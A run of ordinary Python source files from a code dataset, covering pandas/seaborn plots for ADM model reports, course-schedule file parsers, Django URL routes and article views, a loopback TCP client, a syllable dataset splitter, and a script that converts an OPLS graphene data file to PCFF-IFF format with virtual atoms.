[mpatches.Patch(color=myColors[i], label=colorText[i]) for i in range(len(myColors)) ]\r\n\r\n legend=plt.legend(handles=patches, bbox_to_anchor=(1.05, 1),loc=2, borderaxespad=0.5, frameon=True)\r\n frame = legend.get_frame()\r\n frame.set_facecolor('lightgrey')\r\n\r\n def show_success_rate_time(self, day_interval=7, query={}, figsize=(16, 10)):\r\n \"\"\" Shows success rate of models over time\r\n\r\n Args:\r\n day_interval (int): interval of tick labels along x axis\r\n query (dict): dict of lists to filter dataframe\r\n figsize (tuple): size of graph\r\n \"\"\"\r\n _df_g = self._apply_query(query, self.dfModel)\r\n if len(_df_g['model snapshot'].unique())<2:\r\n print('There are not enough timestamps to plot a timeline graph')\r\n else:\r\n fig, ax = plt.subplots(figsize=figsize)\r\n sns.pointplot(x='model snapshot', y='success rate (%)', data=self.dfModel, hue='model ID', marker=\"o\", ax=ax)\r\n modelnames = _df_g[['model ID', 'model name']].drop_duplicates().set_index('model ID').to_dict()['model name']\r\n handles, labels = ax.get_legend_handles_labels()\r\n newlabels = [modelnames[i] for i in labels]\r\n ax.legend(handles, newlabels, bbox_to_anchor=(1.05, 1),loc=2)\r\n #ax.legend(bbox_to_anchor=(1.05, 1),loc=2)\r\n ax.set_ylabel('Success Rate (%)')\r\n ax.set_xlabel('Date')\r\n ax.xaxis.set_major_locator(mdates.DayLocator(interval=day_interval))\r\n ax.xaxis.set_major_formatter(mdates.DateFormatter(\"%y-%m-%d\"))\r\n for i in ax.get_xmajorticklabels():\r\n i.set_rotation(90)\r\n\r\n def show_success_rate(self, query={}, figsize=(12, 8)):\r\n \"\"\" Shows all latest proposition success rates\r\n\r\n A bar plot to show the success rate of all latest model instances (propositions)\r\n For reading simplicity, latest success rate is also annotated next to each bar\r\n\r\n Args:\r\n query (dict): dict of lists to filter dataframe\r\n figsize (tuple): size of graph\r\n \"\"\"\r\n f, ax = plt.subplots(figsize=figsize)\r\n _df_g = self._apply_query(query, self.latestModels)\r\n bplot = sns.barplot(x='success rate (%)', y='model name', data=_df_g.sort_values('success rate (%)', ascending=False), ax=ax)\r\n ax.xaxis.set_major_formatter(mtick.PercentFormatter())\r\n for p in bplot.patches:\r\n bplot.annotate(\"{:0.2%}\".format(p.get_width()/100.0), (p.get_width(), p.get_y()+p.get_height()/2),\r\n xytext=(3, 0), textcoords=\"offset points\", ha='left', va='center')\r\n\r\n\r\nclass ADMReport(ModelReport):\r\n \"\"\"\r\n Class to visualize ADM models and predictor data exported from datamart.\r\n This class only keeps latest model+predictor snapshots\r\n\r\n \"\"\"\r\n\r\n def __init__(self, modelID, issue, group, channel, direction, modelName, \r\n positives, responses, performance, snapshot, predModelID, predName, \r\n predPerformance, binSymbol, binIndex, entryType, predictorType, \r\n predSnapshot, binPositives, binResponses, binPositivePer, binNegativePer, binResponseCountPer):\r\n \"\"\" Constructor of class ADMReport\r\n All the inout data to instantiate the class must be numpy arrays.\r\n If ADM data is obtained in csv format, each input array for this class is the corresponding\r\n column in the data file.\r\n\r\n Args:\r\n predModelID (numpy array): id of the models imported from ADM datamart predictor table\r\n predName (numpy array): name of the predictors, usually this is PYPREDICTORNAME\r\n predPerformance (numpy array): AUC of the predictors. Note that this is different from\r\n \"performance\" argument which is model performance.\r\n binSymbol (numpy array): label of predictor bins, PYBINSYMBOLS\r\n binIndex (numpy array): Index of predictor bins\r\n entryType (numpy array): predictor status identifier PYENTRYTYPE\r\n predictorType (numpy array): predictor type (symbolic vs numeric) PYTYPE\r\n predSnapshot (numpy array of datetime): predictor snapshot\r\n binPositives (numpy array): number of positives within bins\r\n binResponses (numpy array): total number of responses within bins\r\n binPositivePer (numpy array): positive percentage within bins\r\n binNegativePer (numpy array): negative percentage within bins\r\n binResponseCountPer (numpy array): response count percentage within bins\r\n\r\n Attributes:\r\n predCols (list): name of columns in predictor dataframe\r\n\r\n \"\"\"\r\n ModelReport.__init__(self, modelID, issue, group, channel, direction, \r\n modelName, positives, responses, performance, snapshot)\r\n self.predModelID = predModelID\r\n self.predName = predName\r\n self.predPerformance = predPerformance\r\n self.binSymbol = binSymbol\r\n self.binIndex = binIndex\r\n self.entryType = entryType\r\n self.predictorType = predictorType\r\n self.predSnapshot = predSnapshot\r\n self.binPositives = binPositives\r\n self.binResponses = binResponses\r\n self.binPositivePer = binPositivePer\r\n self.binNegativePer = binNegativePer\r\n self.binResponseCountPer = binResponseCountPer\r\n self._check_pred_data_shape()\r\n self.predCols = ['model ID', 'predictor name', 'predictor performance', 'bin symbol', 'bin index', 'entry type',\r\n 'predictor type', 'bin positives', 'bin responses', 'bin positive percentage', \r\n 'bin negative percentage', 'bin response count percentage', 'predictor snapshot']\r\n self.latestPredModel = self._create_pred_model_df()\r\n\r\n\r\n def _check_pred_data_shape(self):\r\n \"\"\" Ensure input data has the correct shape\r\n\r\n \"\"\"\r\n if not self.predModelID.shape[0]==self.predName.shape[0]==self.predPerformance.shape[0]==self.binSymbol.shape[0]==self.binIndex.shape[0\r\n ]==self.entryType.shape[0]==self.predictorType.shape[0]==self.predSnapshot.shape[0]==self.binPositives.shape[0]==self.binResponses.shape[0]:\r\n raise TypeError(\"All input data must have the same number of rows\")\r\n\r\n def _create_pred_model_df(self):\r\n \"\"\"\r\n This method generates a pandas dataframes that contains all latest predictor data\r\n merged with latest model snapshot.\r\n bin propensity is also calculated and added as a new column\r\n\r\n Returns:\r\n pandas dataframe\r\n \"\"\"\r\n _df = pd.DataFrame.from_dict(dict(\r\n zip(self.predCols, [self.predModelID, self.predName, self.predPerformance, self.binSymbol, self.binIndex,\r\n self.entryType, self.predictorType, self.binPositives, self.binResponses, self.binPositivePer,\r\n self.binNegativePer, self.binResponseCountPer, self.predSnapshot])))\r\n idx = _df.groupby(['model ID', 'predictor name'])['predictor snapshot'].transform(max)==_df['predictor snapshot']\r\n _df = _df[idx]\r\n _df = self._calculate_success_rate(_df, 'bin positives', 'bin responses', 'bin propensity')\r\n latestPredModel = self.latestModels.merge(_df, on='model ID', how='right').drop(['predictor snapshot'], axis=1)\r\n return latestPredModel\r\n\r\n def show_score_distribution(self, query={}, figsize=(14, 10)):\r\n \"\"\" Show score distribution similar to ADM out-of-the-box report\r\n\r\n Shows a score distribution graph per model. If certain models selected,\r\n only those models will be shown.\r\n the only difference between this graph and the one shown on ADM\r\n report is that, here the raw number of responses are shown on left y-axis whereas in\r\n ADM reports, the percentage of responses are shown\r\n\r\n Args:\r\n query (dict of list values): select certain models to show score distribution\r\n figsize (tuple): size of graph\r\n \"\"\"\r\n\r\n df = self.latestPredModel[self.latestPredModel['predictor name']=='Classifier']\r\n df = self._apply_query(query, df).reset_index(drop=True)\r\n for model in df['model ID'].unique():\r\n _df = df[df['model ID']==model]\r\n name = _df['model name'].unique()[0]\r\n self.distribution_graph(_df, 'Model name: '+name, figsize)\r\n\r\n @staticmethod\r\n def distribution_graph(df, title, figsize):\r\n \"\"\" generic method to generate distribution graphs given data and graph size\r\n\r\n Args:\r\n df (Pandas dataframe)\r\n title (str): title of graph\r\n figsize (tuple): size of graph\r\n \"\"\"\r\n order = df.sort_values('bin index')['bin symbol']\r\n fig, ax = plt.subplots(figsize=figsize)\r\n sns.barplot(x='bin symbol', y='bin responses', data=df, ax=ax, color='blue', order=order)\r\n ax1 = ax.twinx()\r\n ax1.plot(df.sort_values('bin index')['bin symbol'], df.sort_values('bin index')['bin propensity'], color='orange', marker='o')\r\n for i in ax.get_xmajorticklabels():\r\n i.set_rotation(90)\r\n labels = [i.get_text()[0:24]+'...' if len(i.get_text())>25 else i.get_text() for i in ax.get_xticklabels()]\r\n ax.set_xticks(ax.get_xticks())\r\n ax.set_xticklabels(labels)\r\n ax.set_ylabel('Responses')\r\n ax.set_xlabel('Range')\r\n ax1.set_ylabel('Propensity (%)')\r\n patches = [mpatches.Patch(color='blue', label='Responses'), mpatches.Patch(color='orange', label='Propensity')]\r\n ax.legend(handles=patches, bbox_to_anchor=(1.05, 1),loc=2, borderaxespad=0.5, frameon=True)\r\n ax.set_title(title)\r\n\r\n\r\n def show_predictor_report(self, query, predictors=None, figsize=(10, 5)):\r\n \"\"\" Show predictor graphs for a given model\r\n\r\n For a given model (query) shows all its predictors' graphs. If certain predictors\r\n selected, only those predictor graphs will be shown\r\n\r\n Args:\r\n query (dict of list values): filter a model\r\n predictors (list): list of predictors to show their graphs. Optional field\r\n figsize (tuple): size of graph\r\n \"\"\"\r\n df = self.latestPredModel[self.latestPredModel['predictor name']!='Classifier']\r\n df = self._apply_query(query, df).reset_index(drop=True)\r\n print('Model ID:', df['model ID'].unique())\r\n if predictors:\r\n df = df[df['predictor name'].isin(predictors)]\r\n model_name = df['model name'].unique()[0]\r\n for pred in df['predictor name'].unique():\r\n _df = df[df['predictor name']==pred]\r\n title = 'Model name: '+model_name+'\\n Predictor name: '+pred\r\n self.distribution_graph(_df, title, figsize)\r\n\r\n def show_predictor_performance_boxplot(self, query={}, figsize=(6, 12)):\r\n \"\"\" Shows a box plot of predictor performance\r\n \"\"\"\r\n fig, ax = plt.subplots(figsize=figsize)\r\n _df_g = self.latestPredModel[self.latestPredModel['predictor name']!='Classifier'].reset_index(drop=True)\r\n _df_g = self._apply_query(query, _df_g).reset_index(drop=True)\r\n _df_g['legend'] = pd.Series([i.split('.')[0] if len(i.split('.'))>1 else 'Primary' for i in _df_g['predictor name']])\r\n order = _df_g.groupby('predictor name')['predictor performance'].mean().fillna(0).sort_values()[::-1].index\r\n sns.boxplot(x='predictor performance', y='predictor name', data=_df_g, order=order, ax=ax)\r\n ax.set_xlabel('Predictor Performance')\r\n ax.set_ylabel('Predictor Name')\r\n\r\n norm = colors.Normalize(vmin=0, vmax=len(_df_g['legend'].unique())-1)\r\n mapper = plt.cm.ScalarMappable(norm=norm, cmap=plt.cm.gnuplot_r)\r\n cl_dict = dict(zip(_df_g['legend'].unique(), [mapper.to_rgba(v) for v in range(len(_df_g['legend'].unique()))]))\r\n value_dict = dict(_df_g[['predictor name', 'legend']].drop_duplicates().values)\r\n type_dict = dict(_df_g[['predictor name', 'predictor type']].drop_duplicates().values)\r\n boxes = ax.artists\r\n for i in range(len(boxes)):\r\n boxes[i].set_facecolor(cl_dict[value_dict[order[i]]])\r\n if type_dict[order[i]].lower()=='symbolic':\r\n boxes[i].set_linestyle('--')\r\n\r\n lines = [Line2D([], [], label='Numeric', color='black', linewidth=1.5),\r\n Line2D([], [], label='Symbolic', color='black', linewidth=1.5, linestyle='--')]\r\n legend_type = plt.legend(handles=lines, bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.5,\r\n frameon=True, title='Predictor Type \\n')\r\n patches = [mpatches.Patch(color=j, label=i) for i, j in cl_dict.items()]\r\n legend = plt.legend(handles=patches, bbox_to_anchor=(1.05, 0.85), loc=2, borderaxespad=0.5,\r\n frameon=True, title='Predictor Source \\n')\r\n plt.gca().add_artist(legend_type)\r\n legend._legend_box.align = \"left\"\r\n legend_type._legend_box.align = \"left\"\r\n\r\n def show_model_predictor_performance_heatmap(self, query={}, figsize=(14, 10)):\r\n \"\"\" Shows a heatmap plot of predictor performance across models\r\n \"\"\"\r\n _df_g_o = self.latestPredModel[self.latestPredModel['predictor name']!='Classifier'].reset_index(drop=True)\r\n _df_g_o = self._apply_query(query, _df_g_o).reset_index(drop=True)\r\n _df_g = _df_g_o[['model name', 'predictor name', 'predictor performance']].drop_duplicates().pivot(\r\n index='model name', columns='predictor name', values='predictor performance')\r\n order = list(_df_g_o[[\r\n 'model name', 'predictor name', 'predictor performance']].drop_duplicates().groupby(\r\n 'predictor name')['predictor performance'].mean().fillna(0).sort_values()[::-1].index)\r\n _df_g = _df_g[order]*100.0\r\n x_order = list(_df_g_o[[\r\n 'model name', 'predictor name', 'predictor performance']].drop_duplicates().groupby(\r\n 'model name')['predictor performance'].mean().fillna(0).sort_values()[::-1].index)\r\n df_g = _df_g.reindex(x_order)\r\n cmap = colors.LinearSegmentedColormap.from_list(\r\n 'mycmap', [(0/100.0, 'red'), (20/100.0, 'green'),\r\n (90/100.0, 'white'), (100/100.0, 'white')])\r\n f, ax = plt.subplots(figsize=figsize)\r\n sns.heatmap(df_g.fillna(50).T, ax=ax, cmap=cmap, annot=True, fmt='.2f', vmin=50, vmax=100)\r\n bottom, top = ax.get_ylim()\r\n ax.set_ylim(bottom + 0.5, top - 0.5)\r\n \r\n\r\n def calculate_impact_influence(self, modelID=None, query={}):\r\n def ImpactInfluence(X):\r\n d = {}\r\n d['Impact(%)'] = X['absIc'].max()\r\n d['Influence(%)'] = (X['bin response count percentage']*X['absIc']/100).sum()\r\n return pd.Series(d)\r\n \r\n _df_g = self.latestPredModel[self.latestPredModel['predictor name']!='Classifier'].reset_index(drop=True)\r\n _df = self._apply_query(query, _df_g).reset_index(drop=True)\r\n if modelID:\r\n _df = _df[_df['model ID']==modelID].reset_index(drop=True)\r\n _df['absIc'] = np.abs(_df['bin positive percentage'] - _df['bin negative percentage'])\r\n _df_f = _df.groupby(['model ID', 'predictor name']).apply(ImpactInfluence).reset_index().merge(\r\n _df[['model ID', 'issue', 'group', 'channel', 'direction', 'model name']].drop_duplicates(), on='model ID')\r\n return _df_f.sort_values(['predictor name', 'Impact(%)'], ascending=[False, False])\r\n\r\n def plot_impact_influence(self, modelID, query={}, figsize=(12, 5)):\r\n _df_g = self.calculate_impact_influence(modelID=modelID, query=query)[[\r\n 'model ID', 'predictor name', 'Impact(%)', 'Influence(%)']].set_index(\r\n ['model ID', 'predictor name']).stack().reset_index().rename(columns={'level_2':'metric', 0:'value'})\r\n fig, ax = plt.subplots(figsize=figsize)\r\n sns.barplot(x='predictor name', y='value', data=_df_g, hue='metric', ax=ax)\r\n ax.legend(bbox_to_anchor=(1.01, 1),loc=2)\r\n ax.set_ylabel('Metrics')\r\n","sub_path":"python/model_report.py","file_name":"model_report.py","file_ext":"py","file_size_in_byte":33229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"515168541","text":"'''\nThis file contains functions that parse the inputs that are passed in as text\nfiles.\n\nADAPTED FOR HAVERFORD DATA\n\n'''\n\ndef parse_constraints_mil_time(constraints_name):\n \"\"\"\nAdds a dictionary in poistions 4 (the 5th and last element of the list) that\ncontains:\n * the time (in millitary time) of the start and end of the class\n * the days of the week as a list the class is on\nTo clarify, the output looks like:\n [rooms, courses, teacher_to_classes, times,mil_times]\nwhere mil_times looks like:\n {class_id: [start,end,[days, of, week]]}\n \"\"\"\n with open(constraints_name,'r') as constraints_file:\n file = constraints_file.read()\n file = file.split('\\n')\n times = []\n for line in file:\n line = line.split('\\t')\n if line[0]== \"Rooms\":\n break\n else:\n times.append(line)\n time_dict = {}\n time_dict_info = {}\n for time in times[1:]:\n time_day = time[1].split()\n days = []\n if time_day[1]==\"PM\" and time_day[0][:2] != '12':\n hour_min = time_day[0].split(':')\n start = (int(hour_min[0])+12)*100 + int(hour_min[1])\n else:\n hour_min = time_day[0].split(':')\n start = (int(hour_min[0]))*100 + int(hour_min[1]) \n\n if time_day[3]==\"PM\" and time_day[2][:2] != '12':\n hour_min = time_day[2].split(':')\n end = (int(hour_min[0])+12)*100 + int(hour_min[1])\n else:\n hour_min = time_day[2].split(':')\n end = (int(hour_min[0]))*100 + int(hour_min[1])\n for item in time_day[4:]:\n days.append(item)\n time_dict_info[int(time[0])]=[start,end,days]\n time_dict[int(time[0])]=[]\n a = parse_constraints(constraints_name)\n a.append(time_dict_info)\n return a\ndef parse_constraints_wiggle(constraints_name):\n \"\"\"\nAdds a dictionary in poistions 4 (the 5th and last element of the list) that\ncontains:\n * the time (in millitary time) of the start and end of the class\n * the days of the week as a list the class is on\nTo clarify, the output looks like:\n [rooms, courses, teacher_to_classes, times,mil_times]\nwhere mil_times looks like:\n {class_id: [start,end,[days, of, week]]}\n \"\"\"\n with open(constraints_name,'r') as constraints_file:\n file = constraints_file.read()\n file = file.split('\\n')\n times = []\n for line in file:\n line = line.split('\\t')\n if line[0]== \"Rooms\":\n break\n else:\n times.append(line)\n time_dict = {}\n time_dict_info = {}\n for time in times[1:]:\n time_day = time[1].split()\n days = []\n if time_day[1]==\"PM\" and time_day[0][:2] != '12':\n hour_min = time_day[0].split(':')\n start = (int(hour_min[0])+12)*100 + int(hour_min[1])\n else:\n hour_min = time_day[0].split(':')\n start = (int(hour_min[0]))*100 + int(hour_min[1]) \n\n if time_day[3]==\"PM\" and time_day[2][:2] != '12':\n hour_min = time_day[2].split(':')\n end = (int(hour_min[0])+12)*100 + int(hour_min[1])\n else:\n hour_min = time_day[2].split(':')\n end = (int(hour_min[0]))*100 + int(hour_min[1])\n for item in time_day[4:]:\n time_dict_info[time[0]+item]=[start,end,item,end-start]\n time_dict[time[0]+item]=[]\n a = parse_constraints(constraints_name)\n a[3]=time_dict\n a.append(time_dict_info)\n return a\n\ndef parse_constraints(constraints_name):\n with open(constraints_name,'r') as constraints_file:\n #last number of first line is number of time slots\n num_times = int(constraints_file.readline().split()[-1])\n times = {x:[] for x in range(1,num_times+1)}\n for i in range (0, num_times):\n constraints_file.readline()\n #set up rooms array\n num_rooms = int(constraints_file.readline().split()[-1])\n rooms = {}\n for i in range(0,num_rooms):\n line = constraints_file.readline().split()\n room_id = line[0]\n room_size = int(line[1])\n rooms[room_id] = room_size\n\n num_classes = int(constraints_file.readline().split()[-1])\n courses = [0] * num_classes\n\n num_teachers = int(constraints_file.readline().split()[-1])\n teacher_to_classes = {}\n for i in range(0,num_classes):\n line = constraints_file.readline().split()\n class_id = int(line[0])\n courses[i] = class_id\n try:\n teacher_id = int(line[1])\n except IndexError:\n teacher_id = '0'\n if not (teacher_id in teacher_to_classes):\n teacher_to_classes[teacher_id] = []\n teacher_to_classes[teacher_id].append(class_id)\n courses.sort()\n return [rooms, courses, teacher_to_classes, times]\ndef parse_prefs(prefs_name):\n with open(prefs_name, 'r') as prefs_file:\n num_students = int(prefs_file.readline().split()[-1])\n student_prefs = {}\n for i in range(0, num_students):\n line = prefs_file.readline().split()\n student_id = int(line.pop(0))\n line = [int(num) for num in line]\n line = [num for num in line if line.count(num) < 2] #not fast\n student_prefs[student_id] = line\n return student_prefs","sub_path":"Extensions/TimeSlotOverlap/wiggle_parse_inputs.py","file_name":"wiggle_parse_inputs.py","file_ext":"py","file_size_in_byte":5661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"463424173","text":"from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(r'^detail/(.+)/$', views.detail, name='product_detail'),\n url(r'^product', views.product, name='product'),\n url(r'^signin$', views.signin, name='signin'),\n url(r'^signout$', views.signout, name='signout'),\n url(r'^$', views.index, name='index'),\n]","sub_path":"ecommerce/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"48410945","text":"import socket\n\nTCP_IP = '127.0.0.1' # address for loopback adapter\nTCP_PORT = 5005 # port number\n\nclientSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # creates a TCP socket\nclientSocket.connect((TCP_IP, TCP_PORT)) # client connects to the specified IP/PORT (server)\n\nrequest = input(\"Type your request: \") # prompts user for request\nclientSocket.sendall(request.encode()) # sends request to server\n\ndata = clientSocket.recv(4096) # receives appropriate response from server\n\nprint(data.decode()) # prints the response from the server to terminal\n\nclientSocket.close() # client closes its connection to the server","sub_path":"Client_TCP.py","file_name":"Client_TCP.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"546099343","text":"import pandas as pd\narray_dict = []\ndef only_tokens(row):\n global array_dict\n\n row = row.values.tolist()\n tokens = row[0].split(\" \")\n syllables = row[1].split(\" \")\n # for token, syllable in zip(tokens, syllables):\n if len(tokens) == len(syllables):\n for token, syllable in zip(tokens, syllables):\n if (syllable != '0'): array_dict.append((token, syllable))\n\ndef r(df, cols):\n for col in cols:\n df[col] = df[col].apply(lambda u: str(u).encode('ascii', 'ignore'))\n df[col] = df[col].str.decode('utf-8').fillna(df[col]) \n return df\n\ndf1 = pd.read_csv('datasets\\syllable_word_browns.csv')\ndf2 = pd.read_csv('datasets\\syllable_word_wordnet_1.csv')\ndf3 = pd.read_csv('datasets\\syllable_word_wordnet_2.csv')\ndf4 = pd.read_csv('datasets\\syllable_word_wordnet_3.csv')\ndf5 = pd.read_csv('datasets\\syllable_word_wordnet_4.csv')\ndf6 = pd.read_csv('datasets\\syllable_word.csv')\n\ndf = pd.concat([df1, df2, df3, df4, df5, df6])\ndf = r(df, ['token', 'syllable'])\ndf.reset_index(inplace=True, drop=True)\n\ndf = df[df['syllable'] != '0']\ndf.reset_index(inplace=True, drop=True)\n\ndf.apply(only_tokens, axis=1)\n\ndf_ = pd.DataFrame(array_dict, columns=['token', 'syllable'])\ndf_.to_csv('datasets/syllables.csv')\n\ndf_test = df_[:int(df_.shape[0]*0.2)].reset_index(drop=True)\ndf_train = df_[int(df_.shape[0]*0.2):int(df_.shape[0]*0.9)].reset_index(drop=True)\ndf_dev = df_[int(df_.shape[0]*0.9):].reset_index(drop=True)\n\ndf_test.to_csv('data/custom_syllables/test.csv')\ndf_train.to_csv('data/custom_syllables/train.csv')\ndf_dev.to_csv('data/custom_syllables/dev.csv')","sub_path":"prepdataset.py","file_name":"prepdataset.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"574683030","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom .models import Article\nfrom .forms import ArticleForm\nfrom django.contrib.auth.decorators import login_required\n\n# Create your views here.\ndef index(request):\n articles = Article.objects.all()\n\n context = {\n 'articles': articles,\n }\n \n return render(request, 'articles/index.html', context)\n\n\n@login_required\ndef create(request):\n if request.method == 'POST':\n form = ArticleForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect('articles:index')\n else:\n form = ArticleForm()\n\n context = {\n 'form': form,\n }\n\n return render(request, 'articles/form.html', context)\n \n\ndef detail(request, pk):\n article = get_object_or_404(Article, pk=pk)\n\n context = {\n 'article': article,\n }\n\n return render(request, 'articles/detail.html', context)\n\n\n@login_required\ndef update(request, pk):\n article = get_object_or_404(Article, pk=pk)\n\n if request.method == 'POST':\n form = ArticleForm(request.POST, instance=article)\n if form.is_valid():\n form.save()\n return redirect('articles:detail', pk)\n else:\n form = ArticleForm(instance=article)\n \n context = {\n 'form': form,\n }\n\n return render(request, 'articles/form.html', context)","sub_path":"97_auth/articles/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"606926668","text":"# Creator: Dr. Matt Radue\n# Script converts an opls CNT/GNP data file to a PCFF-IFF data file\n\nimport sys\nimport modules.read_molecular as read_molecular\nimport modules.write_pcffiff as write_pcffiff\nimport modules.locality as locality\nimport modules.md_math as md_math\nimport os\n\n\nclass Molecule:\n pass\n\n\nclass Atom:\n pass\n\n\nclass Bond:\n pass\n\n\nclass Angle:\n pass\n\n\nclass Dihedral:\n pass\n\n\nos.chdir(r\"/home/wapisani/Documents/Research/ERDC-EL/ERDC-EL-Git/Utilities/Molecule_Creation/Creating_GNP_Sheets_OPLS_PCFF/Choi_GNP_Creation\")\n\n# Set input filename\ninput_filename = \"GNP_lattice_x2.01_y3.5175_Rdy4Py_opls.dat\"\n\n# file_in = sys.argv[1] # molecular lammps data file\nfile_out = input_filename[:-4] + \"_pcff-iff.dat\"\n\nm = read_molecular.Molecule_File(input_filename)\na = m.atoms\nb = m.bonds\n\ncntatoms = m.natoms\ncnttypes = m.natomtypes\nvaid = cntatoms + 1\n\ncntbonds = m.nbonds\nvbid = cntbonds + 1\n\n# Get box dims\nxline = m.xbox_line.split()\nyline = m.ybox_line.split()\nzline = m.zbox_line.split()\nlx = float(xline[1]) - float(xline[0])\nly = float(yline[1]) - float(yline[0])\nlz = float(zline[1]) - float(zline[0])\n\n##############################\n### Overwrite coefficients ###\n##############################\n\n# Masses & Pair Coeffs\nfor atype in range(1, cnttypes + 1):\n m.masses[atype] = 10.011150\n m.masses[atype + cnttypes] = 1.000000\n\n m.pair_coeffs[atype] = ['0.06200', '3.93200']\n m.pair_coeffs[atype + cnttypes] = ['0.00001', '0.00001']\n\n# Bonds\n# 1: cg1-cg1, 2: cg1-cge\nm.bond_coeffs = {1: ['1.42', '480.0', '0.0', '0.0'],\n 2: ['0.65', '250.0', '0.0', '0.0']}\n\n# Angles\n# 1: cg1-cg1-cg1, 2: cg1-cg1-cge, 3: cge-cg1-cge\nm.angle_coeffs = {1: ['120.0', '90.0', '0.0', '0.0'], 2: [\n '90.0', '50.0', '0.0', '0.0'], 3: ['180.0', '50.0', '0.0', '0.0']}\n\n# Dihedrals\nm.dihedral_coeffs = {1: ['0.0', '0.0', '0.0', '0.0', '0.0', '0.0']}\n\n# Impropers\nm.improper_coeffs = {1: ['0.0', '0.0']}\n\n# Cross Terms\nm.bondbond_coeffs = {1: ['0.0', '0.0', '0.0'], 2: [\n '0.0', '0.0', '0.0'], 3: ['0.0', '0.0', '0.0']}\nm.bondangle_coeffs = {1: ['0.0', '0.0', '0.0', '0.0'], 2: [\n '0.0', '0.0', '0.0', '0.0'], 3: ['0.0', '0.0', '0.0', '0.0']}\nm.angleangle_coeffs = {1: ['0.0', '0.0', '0.0', '0.0', '0.0', '0.0']}\nm.angleangletors_coeffs = {1: ['0.0', '0.0', '0.0']}\nm.endbondtorsion_coeffs = {\n 1: ['0.0', '0.0', '0.0', '0.0', '0.0', '0.0', '0.0', '0.0']}\nm.midbondtorsion_coeffs = {1: ['0.0', '0.0', '0.0', '0.0']}\nm.bondbond13_coeffs = {1: ['0.0', '0.0', '0.0']}\nm.angletorsion_coeffs = {\n 1: ['0.0', '0.0', '0.0', '0.0', '0.0', '0.0', '0.0', '0.0']}\n\n\n# Find which atoms are bonded to a given atom\ndef findbonded(a):\n bonded = []\n for id in b:\n if a == b[id].atomids[0]:\n bonded.append(b[id].atomids[1])\n elif a == b[id].atomids[1]:\n bonded.append(b[id].atomids[0])\n return bonded\n\n\n################################\n### Create New Atoms & Bonds ###\n################################\n\n# Reset C-C bond types\nfor id in b:\n b[id].type = 1\n\nfor id in range(1, cntatoms + 1):\n\n # Add charge to Carbon atom\n # Account for internal polarity\n a[id].charge = 0.200\n\n # Approximately place virtual atoms\n # Find plane created by nearest neighbors\n bonded = findbonded(id)\n points = [[a[id].x, a[id].y, a[id].z]]\n for id2 in bonded:\n diff = a[id].x - a[id2].x\n if diff > 0.5 * lx:\n px = a[id2].x + lx\n elif diff < -0.5 * lx:\n px = a[id2].x - lx\n else:\n px = a[id2].x\n\n diff = a[id].y - a[id2].y\n if diff > 0.5 * ly:\n py = a[id2].y + ly\n elif diff < -0.5 * ly:\n py = a[id2].y - ly\n else:\n py = a[id2].y\n\n diff = a[id].z - a[id2].z\n if diff > 0.5 * lz:\n pz = a[id2].z + lz\n elif diff < -0.5 * lz:\n pz = a[id2].z - lz\n else:\n pz = a[id2].z\n\n points.append([px, py, pz])\n (c, normal) = md_math.fitplane(points)\n\n # Create virtual atom in direction of normal\n v1 = Atom()\n v1.typenum = 0\n v1.type = a[id].type + cnttypes\n v1.charge = -0.100\n v1.x = c[0] + 0.65 * normal[0] # cg1-cge bond length = 0.6500\n v1.y = c[1] + 0.65 * normal[1]\n v1.z = c[2] + 0.65 * normal[2]\n a[vaid] = v1 # Add atom to atom dictionary\n\n # Create new bond for virtual atom\n b1 = Bond()\n b1.type = 2\n b1.atomids = [id, vaid]\n b[vbid] = b1\n\n vaid += 1\n vbid += 1\n\n # Create virtual atom in opposite direction\n v2 = Atom()\n v2.typenum = 0\n v2.type = a[id].type + cnttypes\n v2.charge = -0.100\n v2.x = c[0] - 0.65 * normal[0] # cg1-cge bond length = 0.6500\n v2.y = c[1] - 0.65 * normal[1]\n v2.z = c[2] - 0.65 * normal[2]\n a[vaid] = v2 # Add atom to atom dictionary\n\n # Create new bond for virtual atom\n b2 = Bond()\n b2.type = 2\n b2.atomids = [id, vaid]\n b[vbid] = b2\n\n vaid += 1\n vbid += 1\n\n\n####################################\n### Determine Angles & Dihedrals ###\n####################################\n\n# Find all angles & dihedrals\nm.angles = locality.findangles(m.bonds)\nm.dihedrals = locality.finddihedrals(m.bonds, m.angles)\n\nan = m.angles\n\n# Assign correct type for each angle\nfor id in an:\n atoms = an[id].atomids\n cntfs = []\n\n for i in range(0, 3):\n if a[atoms[i]].type <= cnttypes:\n cntfs.append(1)\n else:\n cntfs.append(0)\n\n if cntfs == [1, 1, 1]:\n an[id].type = 1\n elif cntfs == [0, 1, 1]:\n an[id].type = 2\n elif cntfs == [1, 1, 0]:\n an[id].type = 2\n elif cntfs == [0, 1, 0]:\n an[id].type = 3\n else:\n raise Exception(\"Angle type cannot be assigned\")\n\n\n# Count number of atoms,bonds,angles,dihedrals,impropers\nm.natoms = len(m.atoms)\nm.natomtypes = len(m.masses)\nm.nbonds = len(m.bonds)\nm.nbondtypes = len(m.bond_coeffs)\nm.nangles = len(m.angles)\nm.nangletypes = len(m.angle_coeffs)\nm.ndihedrals = len(m.dihedrals)\nm.ndihedraltypes = len(m.dihedral_coeffs)\nm.nimpropers = 0\nm.nimpropertypes = len(m.improper_coeffs)\n\nwrite_pcffiff.moleculefile(file_out, 